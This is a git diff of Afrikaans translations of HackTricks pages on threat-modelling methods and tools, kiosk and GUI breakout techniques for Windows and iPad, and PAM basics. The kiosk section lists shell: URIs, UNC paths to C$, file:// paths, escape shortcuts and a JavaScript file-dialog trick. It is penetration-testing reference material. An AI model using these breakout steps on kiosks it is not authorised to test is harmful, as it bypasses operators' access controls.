4. **Trike**: Dit is 'n risikogebaseerde metodologie wat fokus op die verdediging van bates. Dit begin vanuit 'n **risikobestuur**-perspektief en kyk na bedreigings en kwesbaarhede in daardie konteks.
5. **VAST** (Visual, Agile en Simple Threat modeling): Hierdie benadering streef daarna om meer toeganklik te wees en integreer in Agile-ontwikkelingsomgewings. Dit kombineer elemente uit die ander metodologieë en fokus op **visuele voorstellings van bedreigings**.
6. **OCTAVE** (Operationally Critical Threat, Asset en Vulnerability Evaluation): Ontwikkel deur die CERT Koördinasiesentrum, is hierdie raamwerk gerig op **organisatoriese risiko-assessering eerder as spesifieke stelsels of sagteware**.
1. **STRIDE**: Ontwikkel deur Microsoft, STRIDE is 'n akroniem vir **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, en Elevation of Privilege**. Elke kategorie verteenwoordig 'n tipe bedreiging, en hierdie metodologie word gewoonlik in die ontwerpfase van 'n program of stelsel gebruik om potensiële bedreigings te identifiseer.
2. **DREAD**: Dit is 'n ander metodologie van Microsoft wat gebruik word vir risiko-assessering van geïdentifiseerde bedreigings. DREAD staan vir **Damage potential, Reproducibility, Exploitability, Affected users, en Discoverability**. Elkeen van hierdie faktore word geskore, en die resultaat word gebruik om geïdentifiseerde bedreigings te prioritiseer.
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Dit is 'n sewe-stap, **risiko-sentriese** metodologie. Dit sluit in die definisie en identifisering van sekuriteitsdoelwitte, die skep van 'n tegniese omvang, aansoekontbinding, bedreigingsanalise, kwesbaarheidsanalise, en risiko/triage-assessering.
4. **Trike**: Dit is 'n risiko-gebaseerde metodologie wat fokus op die verdediging van bates. Dit begin vanuit 'n **risikobestuurs**-perspektief en kyk na bedreigings en kwesbaarhede in daardie konteks.
5. **VAST** (Visual, Agile, en Simple Threat modeling): Hierdie benadering streef daarna om meer toeganklik te wees en te integreer in Agile-ontwikkelingsomgewings. Dit kombineer elemente van die ander metodologieë en fokus op **visuele voorstellings van bedreigings**.
6. **OCTAVE** (Operationally Critical Threat, Asset, en Vulnerability Evaluation): Ontwikkel deur die CERT Coordination Center, hierdie raamwerk is gerig op **organisatoriese risiko-assessering eerder as spesifieke stelsels of sagteware**.
## Hulpmiddels
## Gereedskap
Daar is verskeie hulpmiddels en sagteware-oplossings beskikbaar wat kan **help** met die skep en bestuur van bedreigingsmodelle. Hier is 'n paar wat jy kan oorweeg.
Daar is verskeie gereedskap en sagteware-oplossings beskikbaar wat kan **help** met die skep en bestuur van bedreigingsmodelle. Hier is 'n paar wat jy kan oorweeg.
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
'n Gevorderde kruisplatform- en multifunksie-GUI-webspinnekop-/kruiper vir sibersekerheidsprofessionele. Spider Suite kan gebruik word vir aanvalsoppervlakkaartlegging en -analise.
'n Gevorderde kruisplatform en multi-funksie GUI-webspinnekop/kruiper vir sibersekerheidsprofessionals. Spider Suite kan gebruik word vir aanvalsoppervlakafbeelding en -analise.
**Gebruik**
@ -52,7 +66,7 @@ Daar is verskeie hulpmiddels en sagteware-oplossings beskikbaar wat kan **help**
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
'n Opensource-projek van OWASP, Threat Dragon is 'n web- en lessenaarprogram wat stelseldiagrammering sowel as 'n reël-enjin insluit om bedreigings/mitigasies outomaties te genereer.
'n Oopbronprojek van OWASP, Threat Dragon is beide 'n web- en lessenaarprogram wat stelseldiagrammering insluit, sowel as 'n reël-enjin om dreigings/mitigasies outomaties te genereer.
**Gebruik**
@ -74,7 +88,7 @@ Soms kan dit so lyk:
4. Skep jou model
Jy kan hulpmiddels soos SpiderSuite Crawler gebruik om jou inspirasie te gee, 'n basiese model sal iets soos dit lyk
Jy kan gereedskap soos SpiderSuite Kruiper gebruik om jou inspirasie te gee, 'n basiese model sou iets soos dit lyk
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
@ -82,13 +96,13 @@ Net 'n bietjie verduideliking oor die entiteite:
* Proses (Die entiteit self soos Webbediener of webfunksionaliteit)
* Akteur ( 'n Persoon soos 'n Webwerfbesoeker, Gebruiker of Administrateur)
* Data Vloei Llyn (Aanwysing van Interaksie)
* Vertrouensgrens (Verskillende netwerksegmente of omvang.)
* Berg (Dinge waar data gestoor word, soos Databasisse)
* Data Vloei Lyn (Aanwyser van Interaksie)
* Vertrouensgrens (Verskillende netwerksegmente of -omvang)
* Berg (Dinge waar data gestoor word soos Databasisse)
5. Skep 'n Bedreiging (Stap 1)
Eerstens moet jy die laag kies waarin jy 'n bedreiging wil byvoeg
Eerstens moet jy die laag kies waar jy 'n bedreiging wil byvoeg
<figure><img src="../.gitbook/assets/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure>
@ -96,8 +110,28 @@ Nou kan jy die bedreiging skep
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
Hou in gedagte dat daar 'n verskil is tussen Akteurbedreigings en Prosesbedreigings. As jy 'n bedreiging by 'n Akteur wil voeg, sal jy slegs "Spoofing" en "Repudiation" kan kies. In ons voorbeeld voeg ons egter 'n bedreiging by 'n Prosesentiteit, so ons sal dit in die bedreigingskeppingkas sien:
Hou in gedagte dat daar 'n verskil is tussen Akteurbedreigings en Prosesbedreigings. As jy 'n bedreiging by 'n Akteur sou voeg, sal jy slegs "Spoofing" en "Repudiation" kan kies. In ons voorbeeld voeg ons egter 'n bedreiging by 'n Prosesentiteit, sodat ons dit in die bedreigingskeppingkas sal sien:
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
6.
6. Klaar
Nou behoort jou voltooide model iets soos dit te lyk. En dit is hoe jy 'n eenvoudige bedreigingsmodel met OWASP Threat Dragon maak.
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
Dit is 'n gratis hulpmiddel van Microsoft wat help om bedreigings in die ontwerpfase van sagtewareprojekte te vind. Dit maak gebruik van die STRIDE-metodologie en is veral geskik vir diegene wat op Microsoft se stapel ontwikkel.
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekmasjien wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte deur **steel-malware** **gekompromiteer** is.
Die primêre doel van WhiteIntel is om rekening-oorneem en losgeldaanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** uitprobeer by:
{% embed url="https://whiteintel.io" %}

View file

@ -12,13 +12,26 @@ Ander maniere om HackTricks te ondersteun:
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
# Kontroleer vir moontlike aksies binne die GUI-toepassing
**Gewone Dialoë** is daardie opsies van **'n lêer stoor**, **'n lêer oopmaak**, 'n lettertipe kies, 'n kleur... Die meeste van hulle sal **'n volledige Explorer-funksionaliteit aanbied**. Dit beteken dat jy toegang tot Explorer-funksionaliteite sal hê as jy hierdie opsies kan bereik:
**Gewone Dialoë** is daardie opsies om 'n lêer te **stoor**, 'n lêer te **open**, 'n lettertipe te kies, 'n kleur te kies... Die meeste van hulle sal 'n volledige Verkenner-funksionaliteit **aanbied**. Dit beteken dat jy Verkenner-funksionaliteite kan gebruik as jy hierdie opsies kan gebruik:
* Sluit/Sluit as
* Oop/Oop met
* Open/Open met
* Druk
* Uitvoer/Invoer
* Soek
@ -33,7 +46,7 @@ Jy moet nagaan of jy kan:
## Opdraguitvoering
Miskien **deur 'n `Oop met`** opsie** kan jy 'n soort van skel uitvoer.
Miskien kan jy **deur 'n `Open met`**-opsie** 'n soort van skul uitvoer.
### Windows
@ -50,9 +63,9 @@ _bash, sh, zsh..._ Meer hier: [https://gtfobins.github.io/](https://gtfobins.git
* **Omgevingsveranderlikes**: Daar is baie omgevingsveranderlikes wat na 'n sekere pad wys
* **Ander protokolle**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **Simboliese skakels**
* **Kortpaaie**: CTRL+N (open nuwe sessie), CTRL+R (Voer Opdragte uit), CTRL+SHIFT+ESC (Taakbestuurder), Windows+E (open verkenner), CTRL-B, CTRL-I (Gunstelinge), CTRL-H (Geskiedenis), CTRL-L, CTRL-O (Lêer/Oop Dialoog), CTRL-P (Druk Dialoog), CTRL-S (Stoor As)
* **Kortpaaie**: CTRL+N (nuwe sessie oopmaak), CTRL+R (Opdragte uitvoer), CTRL+SHIFT+ESC (Taakbestuurder), Windows+E (Verkenner oopmaak), CTRL-B, CTRL-I (Gunstelinge), CTRL-H (Geskiedenis), CTRL-L, CTRL-O (Lêer/Oop Dialoog), CTRL-P (Druk Dialoog), CTRL-S (Stoor As)
* Versteekte Administratiewe kieslys: CTRL-ALT-F8, CTRL-ESC-F9
* **Skuil URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **Skulpad-URI's**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **UNC-paaie**: Paaie om aan gedeelde lêers te koppel. Jy moet probeer om aan die C$ van die plaaslike masjien te koppel ("\\\127.0.0.1\c$\Windows\System32")
* **Meer UNC-paaie:**
@ -68,19 +81,19 @@ _bash, sh, zsh..._ Meer hier: [https://gtfobins.github.io/](https://gtfobins.git
| %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | |
## Laai Jou Bineêre Lêers Af
## Laai Jou Bineêre lêers af
Konsol: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Verkenner: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Registerredigeerder: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
Registreerredigeerder: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
## Toegang tot lêersisteem vanaf die blaaier
| PAD | PAD | PAD | PAD |
| ------------------- | ----------------- | ------------------ | ------------------- |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
| Lêer:/C:/windows | Lêer:/C:/windows/ | Lêer:/C:/windows\\ | Lêer:/C:\windows |
| Lêer:/C:\windows\\ | Lêer:/C:\windows/ | Lêer://C:/windows | Lêer://C:/windows/ |
| Lêer://C:/windows\\ | Lêer://C:\windows | Lêer://C:\windows/ | Lêer://C:\windows\\ |
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
@ -97,7 +110,7 @@ Registerredigeerder: [https://sourceforge.net/projects/uberregedit/](https://sou
* WINDOWS+D Wys Skerm
* WINDOWS+E Lanceer Windows Verkenner
* WINDOWS+R Hardloop
* WINDOWS+U Gerieflikheidsentrum
* WINDOWS+U Gerief van Toegang Sentrum
* WINDOWS+F Soek
* SHIFT+F10 Konteks Menu
* CTRL+SHIFT+ESC Taakbestuurder
@ -108,41 +121,41 @@ Registerredigeerder: [https://sourceforge.net/projects/uberregedit/](https://sou
* CTRL+H Internet Explorer Geskiedenis
* CTRL+T Internet Explorer Nuwe Bladsy
* CTRL+N Internet Explorer Nuwe Bladsy
* CTRL+O Maak Lêer Oop
* CTRL+O Lêer Oop
* CTRL+S Stoor CTRL+N Nuwe RDP / Citrix
## Swaai
* Swaai van die linkerkant na die regterkant om al die oop vensters te sien, wat die KIOSK-toepassing minimaliseer en direkte toegang tot die hele bedryfstelsel bied;
* Swaai van die regterkant na die linkerkant om die Aksiesentrum oop te maak, wat die KIOSK-toepassing minimaliseer en direkte toegang tot die hele bedryfstelsel bied;
* Swaai van die boonste kant af om die titelbalk sigbaar te maak vir 'n toepassing wat in volledige skermmodus geopen is;
* Swaai van onder af om die taakbalk in 'n volledige skermtoepassing te wys.
* Swaai van die linkerkant na regs om al die oop Vensters te sien, wat die KIOSK-program minimaliseer en direkte toegang tot die hele bedryfstelsel gee;
* Swaai van die regterkant na links om die Aksiesentrum oop te maak, wat die KIOSK-program minimaliseer en direkte toegang tot die hele bedryfstelsel gee;
* Swaai van die boonste kant af om die titelbalk sigbaar te maak vir 'n program wat in volledige skermmodus geopen is;
* Swaai van onder af op om die taakbalk in 'n program met volledige skerm te wys.
## Internet Explorer Truuks
### 'Beeldwerkstafel'
Dit is 'n werkstafel wat op die boonste linkerkant van die beeld verskyn as dit geklik word. Jy sal in staat wees om te Stoor, Druk, Stuur 'n e-pos, "My Afbeeldings" in Verkenner oop te maak. Die Kiosk moet Internet Explorer gebruik.
Dit is 'n werkstafel wat op die boonste linkerkant van die beeld verskyn as dit geklik word. Jy sal in staat wees om te Stoor, Druk, Mailto, "My Pictures" in Explorer oop te maak. Die Kiosk moet Internet Explorer gebruik.
### Skulprotokol
Tik hierdie URL's om 'n Verkenner-aansig te verkry:
* `shell:Administratiewe Gereedskap`
* `shell:DokumenteBiblioteek`
* `shell:Biblioteke`
* `shell:Gebruikersprofiel`
* `shell:Persoonlik`
* `shell:SoekTuisvouer`
* `shell:NetwerkPlekkeVouer`
* `shell:StuurAan`
* `shell:Gebruikersprofiel`
* `shell:Gemeenskaplike Administratiewe Gereedskap`
* `shell:MyRekenaarVouer`
* `shell:InternetVouer`
* `Shell:Profiel`
* `Shell:ProgramLêers`
* `Shell:Sisteem`
* `Shell:BeheerpaneelVouer`
* `shell:Administrative Tools`
* `shell:DocumentsLibrary`
* `shell:Libraries`
* `shell:UserProfiles`
* `shell:Personal`
* `shell:SearchHomeFolder`
* `shell:NetworkPlacesFolder`
* `shell:SendTo`
* `shell:UserProfiles`
* `shell:Common Administrative Tools`
* `shell:MyComputerFolder`
* `shell:InternetFolder`
* `Shell:Profile`
* `Shell:ProgramFiles`
* `Shell:System`
* `Shell:ControlPanelFolder`
* `Shell:Windows`
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Beheerpaneel
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> My Rekenaar
@ -160,7 +173,7 @@ Maak 'n rugsteun vir iKat-weergawes:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
Skep 'n algemene dialoog met behulp van JavaScript en kry toegang tot lêerontdekker: `document.write('<input/type=file>')`
Skep 'n algemene dialoog met behulp van JavaScript en kry toegang tot die lêerontdekker: `document.write('<input/type=file>')`
Bron: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
# iPad
@ -169,29 +182,29 @@ Bron: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811de
* Swaai op met vier (of vyf) vingers / Dubbelklik op die Huis-knoppie: Om die multitask-aansig te sien en Program te verander
* Swaai een kant of die ander met vier of vyf vingers: Om na die volgende/laaste Program te verander
* Swaai een kant toe of die ander met vier of vyf vingers: Om na die volgende/laaste Program te verander
* Knyp die skerm met vyf vingers / Raak die Huis-knoppie aan / Swaai op met 1 vinger van onder af na die bokant van die skerm in 'n vinnige beweging na bo: Om by die Huis te kom
* Swaai een vinger van onder af net 1-2 duim (stadig): Die dok sal verskyn
* Swaai met een vinger van onder af na die bokant van die skerm net 1-2 duim (stadig): Die dok sal verskyn
* Swaai af van die bokant van die vertoning met 1 vinger: Om jou kennisgewings te sien
* Swaai af met 1 vinger na die bokant-regterhoek van die skerm: Om die beheersentrum van die iPad Pro te sien
* Swaai met 1 vinger af van die bokant-regterhoek van die skerm: Om die beheersentrum van die iPad Pro te sien
* Swaai 1 vinger van die linkerkant van die skerm 1-2 duim: Om die Vandag-aansig te sien
* Swaai vinnig 1 vinger van die middel van die skerm na regs of links: Om na die volgende/laaste Program te verander
* Druk en hou die Aan/**Af**/Slaap-knoppie aan die bokant-regterhoek van die **iPad +** Skuif die Skuif na **krag af** skyf heeltemal na regs: Om af te skakel
* Druk en hou die Aan/**Af**/Slaap-knoppie aan die boonste regterhoek van die **iPad +** Skuif die Skuif na **krag af** skyf heeltemal na regs: Om af te skakel
* Druk die Aan/**Af**/Slaap-knoppie aan die bokant-regterhoek van die **iPad en die Huis-knoppie vir 'n paar sekondes**: Om krag af te dwing
* Druk die Aan/**Af**/Slaap-knoppie aan die boonste regterhoek van die **iPad en die Huis-knoppie vir 'n paar sekondes**: Om krag af te dwing
* Druk die Aan/**Af**/Slaap-knoppie aan die bokant-regterhoek van die **iPad en die Huis-knoppie vinnig**: Om 'n skermkiekie te neem wat in die onder linkerkant van die vertoning sal verskyn. Druk beide knoppies gelyktydig vir 'n kort tydjie in asof jy hulle 'n paar sekondes vas hou, sal 'n krag af gedwing word.
* Druk die Aan/**Af**/Slaap-knoppie aan die boonste regterhoek van die **iPad en die Huis-knoppie vinnig**: Om 'n skermkiekie te neem wat in die linksonder van die vertoning sal verskyn. Druk beide knoppies gelyktydig vir 'n kort tydjie in asof jy hulle 'n paar sekondes vas hou, sal 'n krag af gedwing word.
## Kortpaaie
Jy moet 'n iPad-toetsbord of 'n USB-toetsbord-adapter hê. Slegs kortpaaie wat kan help om te ontsnap uit die toepassing sal hier vertoon word.
Jy moet 'n iPad-toetsbord of 'n USB-toetsbord-adapter hê. Slegs kortpaaie wat kan help om uit die program te ontsnap, sal hier vertoon word.
| Sleutel | Naam |
| --- | ------------ |
@ -203,7 +216,7 @@ Jy moet 'n iPad-toetsbord of 'n USB-toetsbord-adapter hê. Slegs kortpaaie wat k
| ^ | Beheer |
| ← | Linkerpyl |
| → | Regterpyl |
| ↑ | Bo-pyl |
| ↑ | Op-pyl |
| ↓ | Af-pyl |
### Stelselkortpaaie
@ -229,9 +242,9 @@ Hierdie kortpaaie is vir die visuele instellings en klankinstellings, afhangende
| ⌘H | Gaan na die Huis |
| ⌘⇧H (Bevel-Shift-H) | Gaan na die Huis |
| ⌘ (Spasie) | Maak Spotlight oop |
| ⌘⇥ (Bevel-Tab) | Lys van laaste tien gebruikte Programme |
| ⌘⇥ (Bevel-Tab) | Lys van laaste tien gebruikte programme |
| ⌘\~ | Gaan na die laaste Program |
| ⌘⇧3 (Bevel-Shift-3) | Skermkiekie (hang in die onder linkerkant om dit te stoor of daarop te reageer) |
| ⌘⇧3 (Bevel-Shift-3) | Skermkiekie (hang in die linksonder om dit te stoor of daarop te reageer) |
| ⌘⇧4 | Skermkiekie en maak dit oop in die redigeerder |
| Druk en hou ⌘ | Lys van beskikbare kortpaaie vir die Program |
| ⌘⌥D (Bevel-Opsie/Alt-D) | Bring die dok op |
@ -241,40 +254,40 @@ Hierdie kortpaaie is vir die visuele instellings en klankinstellings, afhangende
| Ontsnapping | Terugknoppie |
| → (Regterpyl) | Volgende item |
| ← (Linkerpyl) | Vorige item |
| ↑↓ (Bo-pyl, Af-pyl) | Gelyktydig tik op die gekose item |
| ↑↓ (Op-pyl, Af-pyl) | Gelyktydig tik op die gekose item |
| ⌥ ↓ (Opsie-Af-pyl) | Rol af |
| ⌥↑ (Opsie-Bo-pyl) | Rol op |
| ⌥↑ (Opsie-Op-pyl) | Rol op |
| ⌥← of ⌥→ (Opsie-Links-pyl of Opsie-Regs-pyl) | Rol links of regs |
| ^⌥S (Beheer-Opsie-S) | Skakel VoiceOver-spraak aan of af |
| ⌘⇧⇥ (Bevel-Shift-Tab) | Skakel na die vorige Program |
| ⌘⇥ (Bevel-Tab) | Skakel terug na die oorspronklike Program |
| ⌘⇧⇥ (Bevel-Shift-Tab) | Skakel na die vorige program |
| ⌘⇥ (Bevel-Tab) | Skakel terug na die oorspronklike program |
| ←+→, dan Opsie + ← of Opsie+→ | Navigeer deur die Dok |
### Safari snelkoppeling
### Safari snelkoppelinge
| Snelkoppeling | Aksie |
| ------------------------ | ------------------------------------------------ |
| ⌘L (Command-L) | Open Ligging |
| ⌘T | Maak 'n nuwe laken oop |
| ⌘W | Maak die huidige laken toe |
| ⌘R | Verfris die huidige laken |
| ⌘. | Stop die laai van die huidige laken |
| ^⇥ | Skakel na die volgende laken |
| ^⇧⇥ (Control-Shift-Tab) | Beweeg na die vorige laken |
| ⌘L | Kies die teks invoer/URL-veld om dit te wysig |
| ⌘⇧T (Command-Shift-T) | Maak die laaste geslote laken oop (kan verskeie kere gebruik word) |
| ⌘\[ | Gaan een bladsy terug in jou blaai geskiedenis |
| ⌘] | Gaan een bladsy vorentoe in jou blaai geskiedenis|
| ⌘⇧R | Aktiveer Leesermodus |
| Snelkoppeling | Aksie |
| ----------------------- | ------------------------------------------------ |
| ⌘L (Command-L) | Open Ligging |
| ⌘T | Maak 'n nuwe lappie oop |
| ⌘W | Maak die huidige lappie toe |
| ⌘R | Verfris die huidige lappie |
| ⌘. | Stop die laai van die huidige lappie |
| ^⇥ | Skakel na die volgende lappie |
| ^⇧⇥ (Control-Shift-Tab) | Beweeg na die vorige lappie |
| ⌘L | Kies die teks invoer/URL-veld om dit te wysig |
| ⌘⇧T (Command-Shift-T) | Maak die laaste geslote lappie oop (kan verskeie kere gebruik word) |
| ⌘\[ | Gaan een bladsy terug in jou blaai-geskiedenis |
| ⌘] | Gaan een bladsy vorentoe in jou blaai-geskiedenis |
| ⌘⇧R | Aktiveer Leeser-modus |
### Poskantoor snelkoppeling
### Poskantoor snelkoppelinge
| Snelkoppeling | Aksie |
| -------------------------- | ---------------------------- |
| ⌘L | Open Ligging |
| ⌘T | Maak 'n nuwe laken oop |
| ⌘W | Maak die huidige laken toe |
| ⌘R | Verfris die huidige laken |
| ⌘. | Stop die laai van die huidige laken |
| Snelkoppeling | Aksie |
| ------------------------ | ---------------------------- |
| ⌘L | Open Ligging |
| ⌘T | Maak 'n nuwe lappie oop |
| ⌘W | Maak die huidige lappie toe |
| ⌘R | Verfris die huidige lappie |
| ⌘. | Stop die laai van die huidige lappie |
| ⌘⌥F (Command-Option/Alt-F) | Soek in jou posbus |
# Verwysings
@ -285,16 +298,28 @@ Hierdie kortpaaie is vir die visuele instellings en klankinstellings, afhangende
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** gekompromitteer is.
Hul primêre doel van WhiteIntel is om rekening-oorneem en losprysaanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -1,28 +1,41 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** is **gekompromiteer**.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Basiese Inligting
**PAM (Pluggable Authentication Modules)** tree op as 'n sekuriteitsmeganisme wat die identiteit van gebruikers wat probeer om toegang tot rekenaardienste te verkry, **verifieer**, en hul toegang beheer op grond van verskillende kriteria. Dit is soortgelyk aan 'n digitale wag, wat verseker dat slegs geautoriseerde gebruikers kan interaksie hê met spesifieke dienste, terwyl hul gebruik moontlik beperk word om sisteemoorbelasting te voorkom.
**PAM (Pluggable Authentication Modules)** tree op as 'n sekuriteitsmeganisme wat die identiteit van gebruikers wat probeer om rekenaardienste te benader, **verifieer**, en hul toegang beheer op grond van verskeie kriteria. Dit is soortgelyk aan 'n digitale wag, wat verseker dat slegs gemagtigde gebruikers met spesifieke dienste kan skakel terwyl hul gebruik moontlik beperk word om sisteemoorlading te voorkom.
### Konfigurasie-lêers
- **Solaris- en UNIX-gebaseerde stelsels** maak gewoonlik gebruik van 'n sentrale konfigurasie-lêer wat geleë is by `/etc/pam.conf`.
- **Linux-stelsels** verkies 'n lêerbenadering, waar diens-spesifieke konfigurasies binne `/etc/pam.d` gestoor word. Byvoorbeeld, die konfigurasie-lêer vir die aanmeldingsdiens word gevind by `/etc/pam.d/login`.
- **Solaris en UNIX-gebaseerde stelsels** gebruik tipies 'n sentrale konfigurasie-lêer wat geleë is by `/etc/pam.conf`.
- **Linux-stelsels** verkies 'n benadering met 'n gids, waar diens-spesifieke konfigurasies binne `/etc/pam.d` gestoor word. Byvoorbeeld, die konfigurasie-lêer vir die aanmeldingsdiens word gevind by `/etc/pam.d/login`.
